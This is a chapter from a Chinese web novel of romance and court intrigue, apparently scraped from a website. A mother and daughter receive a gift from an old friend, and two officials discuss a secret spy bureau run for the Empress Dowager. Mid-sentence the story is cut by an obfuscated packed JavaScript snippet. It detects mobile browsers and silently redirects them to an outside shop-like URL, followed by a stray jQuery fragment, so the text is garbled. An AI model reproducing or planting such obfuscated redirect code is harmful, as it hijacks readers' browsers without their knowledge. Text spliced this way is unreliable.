“可是我怕虫。”小七自从被扁豆梗上肉乎乎的大青虫爬到身上,再也不敢进菜地了。 苏见微笑道:“那你就站在外面,等娘把豆子都摘下来了你再帮着剥。” 这样小七就愿意了,与她一同去菜地。 两人正在外理豆子,身后却传来脚步声,她回头一看,是孟思远。 她起身问:“怎么出来了?”一边说着,一边看向后面,却没看到那两人。 孟思远回道:“陆大人大概想知道朝廷上某些事,而我远在睦州,小小一个学事司察视,与京城那些大人物也没什么关系,也并不清楚时局,就出来了,让他们两人好好聊。” 苏见微从旁拿了个凳子过来:“这儿开阔,你在这儿坐坐也好。” 随后问:“你还没回睦州吗?” “朝中想在睦州试点,改革科举内容,我因此在京多留些时日,如今暂且在国子监上值。”孟思远一边在凳子上坐下,一边回道。 “那吃住方便吗?朝中可有贴补?”她问。 孟思远笑笑,“自然有的。”说完看向小七:“这便是小七?长这样大了,我上次见她,她才三岁。” 苏见微看向小七,发现小七正坐在小凳子上,眼也不眨地看着这位陌生的叔叔。 苏见微教她:“这位是从睦州来的孟叔叔,就是娘小时候生活的地方,如同你与小石头一样,我们一起玩了十几年,是娘的哥哥和好朋友。” 小七软软道:“孟叔叔。” 孟思远从身上拿出一只小巧的金镯子来,笑道:“既叫了叔叔,我这做叔叔便不可失礼了,这是给你的,来戴戴看合不合适?” 五岁的小女孩已开始懂得爱美,看见闪亮亮的镯子眼睛便亮了,马上站起身来,随即又去看苏见微,苏见微朝孟思远道:“她一个小孩子,你送这么贵重的东西做什么?” 孟思远道:“我算半个舅舅,她小时候见面时太匆忙,什么也没给,这次又怎能空手?” “那也不必这样贵重。”她说。 孟思远道:“这镯子轻,在你们京城勋爵人家也不算什么。”说着起身到小七面前,蹲下身将镯子给她戴上。 金镯子没大人的那样雍容富贵,做得精巧,不太粗,但上面有三个小铃铛,动一动手腕那铃铛就“叮叮”响,很是可爱。 小七虽出身侯府,但苏见微是淡泊的性子,平时若无需要,不会刻意穿金戴银,自然也不会精心打扮年纪尚小的女儿,所以小七没怎么见过好看的金饰,如今见了这带铃铛的镯子,新奇又好看,她摇了摇手腕,听着铃铛的声音,十分欢喜,腼腆道:“谢谢叔叔。” 孟思远摸了摸她柔软的头发:“小七真乖。” 苏见微在一旁看了,有几分无奈,也有几分惭愧。 她从未问他,为什么这么多年没成婚。 当初父母接她来京城,只说是母亲生辰,又逢年节,接她来相聚,只字未提婚事,她从未想过要留在京城,甚至外公外婆也没这样的打算,离开时只带了随身衣物,那时孟思远正在书院读书备考,她不想让他分心,觉得这样的小事,没必要专程去告诉他。 所以她走了,然后就得知了陆苏两家的联姻,然后就遇到了陆绍宁,再然后……她再没回睦州。 外公外婆得知她出嫁,大老远让堂舅从睦州给她送了一大车子的添妆,她婚期在即,也没能回去拜别二老,自然也不曾见过孟思远。 没承想,她嫁给陆绍宁两个月后,去京城朝露园赏桂花,竟在园内遇见了孟思远。 她十分意外,又觉得两人在睦州时虽没明确定下婚约,但其实有些心知肚明的暧昧在里面,只是大家都不曾捅破窗户纸而已,结果她却不告而别,另嫁他人。 她思来想去,觉得要给他一个交待,所以约了他在后园见面,结果遇见那桩她不愿想起的意外。 那一夜时间,他没开口问,她也没找到合适的时机提,最后又不了了之。 然后就到了她生孩子,与丈夫离心离德,又没有机会与他见面,往日那些少年情事,似乎再不值一提了。 孟思远原本姓袁,祖籍在杭州,本也算大族,只是孟思远父亲这一支算旁支,孟思远生父早亡,母亲无以为继,便带着孟思远改嫁到睦州,随继父改姓孟,在孟思远十六岁时,继父也身亡,两人算是孤儿寡母,以继父留下资产度日。 好在孟家族人宽厚,不曾刻薄母子二人,加上孟思远读书也认真,孟家便以真正孟家子弟相待,供其念书。 他很早就中了举,此后两次省试却都未中,如今大约为了生计,便在睦州做提举学事司察视,管书院、学府等相关事宜,只是他年轻,后来多的是机会再应试。 这样的境况,苏见微怎么忍心要孟思远破费?可这样一个小巧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640164|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金镯子,一看就是专为小女孩订制的,苏见微平时去金铺也不曾看到,她疑心是孟思远提早备下的,却不好问,也不好拒绝人家一番心意,更显得同情怜悯。 犹豫片刻,只好就默认收下了。 心里想着不知怎么还这人情,只能等他哪日成婚,自己若得了消息,给他送一份重礼。 房中,陆绍宁问着朝中局势,谢桢突然问:“你是不确定自己是太后党,还是皇帝党、郭贤党,或是其他什么党是不是?” 陆绍宁一笑,回道:“我想我不至于是郭贤党吧?” 在他有记忆时,也就是六年前,根本不知道郭贤这号人物,后来他查了,那时郭贤只是个不入流的御史台书吏。 他得势,是因告发当时的御史中丞包庇襄王,从此得了太后青睐,破格升为御史,此后便成了太后的手上利刃,宗室后来的梁王、吴王及镇南侯谋逆案,全由他经手包办,在他经办下,一桩案子经常浩浩荡荡便是几百上千的夷族大案,深得太后宠幸。 陆绍宁知道许多读书人不满太后专政,或直接卸任辞官,或如谢桢这样,公然上书反对太后决策,他却帮太后做事、得太后信任,这不算君子所为,但他是能理解自己的,他不是甘心隐居田园的人,也觉得这个位置上没有他,还有旁人,他走了,也许来的人更疯狂,倒不如他待在这里,还能做些力所能及的事。 但若说他是郭贤党,他还真不相信自己堕落到了这地步。 谢桢却意有所指地问:“承安觉得自己不是吗?” 他这样问,陆绍宁竟有些怀疑了,想了想,很快道:“我问过我夫人,她说我不喜郭贤,绝不会甘心与之为伍。” 谢桢问:“那夫人可有和你说起郭贤手下一群得力鹰犬,内卫?” “内卫?”陆绍宁疑惑:“她不曾提过。” “此事过于隐秘,大部分人讳莫如深,承安还在休养中,尊夫人也许未及提起。” 谢桢继续道:“两年前,太后秘密设立尉卫司,司所成员称为内卫,统管朝野上下监视调查抓捕审问之事,郭贤便为尉卫司统领,随后尉卫司迅速扩大,并招募了许多身份各异的人,其中也不管朝廷官员,明里是朝廷官员,暗地里还是尉卫司内卫。” 陆绍宁一惊,迅速理解道:“这是一个,专事监视、打探,替太后与郭贤打压异己的衙署?甚至派了许多不为人知的细作卧底?” 谢桢点头:“正是。” 陆绍宁摇摇头:“我必不是内卫,除非别无选择,要不然……我想我还不至于去做一名郭贤手下的鹰犬。还是说,贤兄知道我是?怀疑我是?” 谢桢突然笑了起来:“这样的身份,又怎会被人查知?我实话和你说,刚才都是同你开玩笑,我判断你是堂堂正正的大理寺左丞,虽受太后信任,却是信任你的能耐,而非是你不择手段,或是容颜俊美。” 陆绍宁从谢桢脸上看出几分促狭,他当然知道谢桢不会平白无故提起什么容颜的事,除非……除非朝中有传言,太后看中他容颜俊美,也就是说,他因献媚于太后而上位。 这也太不堪了,他实在难以想象,六年时间,他成了个怎样的人,既流连青楼、有红颜知己,还被指背叛老师,又行面首之事而升官……颇有些声名狼藉的感觉。 没待他细想,谢桢突然敛去笑容,认真道:“我同你开这内卫的玩笑,只是为告诉你,你身边可能有内卫,也许是你妻子,也许是你弟弟,又也许是你偶然遇上的一个歌女。”